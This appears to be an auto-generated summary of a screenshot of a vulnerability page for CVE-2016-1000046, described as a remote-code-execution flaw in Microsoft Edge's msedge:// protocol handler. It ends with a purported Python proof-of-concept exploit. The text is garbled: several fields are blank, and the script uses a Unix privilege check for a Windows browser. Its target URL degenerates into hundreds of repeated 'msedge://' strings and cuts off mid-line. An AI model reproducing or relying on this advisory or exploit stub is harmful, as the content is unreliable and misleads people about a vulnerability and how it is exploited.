CVE-2016-1000046: Microsoft Edge msedge:// Protocol Handler RCE Vulnerability and POC

Based on the provided webpage screenshot, this is a detailed information page for the CVE-2016-1000046 vulnerability. Below is a summary of the key information: Vulnerability Overview Vulnerability ID: CVE-2016-1000046 Description: A vulnerability exists in the Microsoft Edge browser in Microsoft Windows 10. This vulnerability allows attackers to execute arbitrary code or escalate privileges by exploiting specific browser features, such as the protocol handler. Specifically, this is a vulnerability involving the protocol handler that may lead to Remote Code Execution (RCE). Severity: High CVSS Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Impact Scope Affected Product: Microsoft Edge (Windows 10) Affected Versions: Version 38.14393.0 and earlier (the specific version number shown in the screenshot is ) Affected Component: protocol handler Remediation Official Patch: Microsoft has released a security update to fix this vulnerability. Recommended Measures: Users should update the Microsoft Edge browser to the latest version or install the latest security patches. Temporary Mitigations: Disable the protocol handler (if possible) or restrict access to untrusted websites. POC/Exploit Code The screenshot contains a Python script ( ) demonstrating an exploit for the protocol. The extracted code is as follows: ```python import sys import os import subprocess Check if running with administrator privileges if not os.getuid() == 0: print("Please run this script with administrator privileges") sys.exit(1) Define target URL target_url = "msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge://msedge:/

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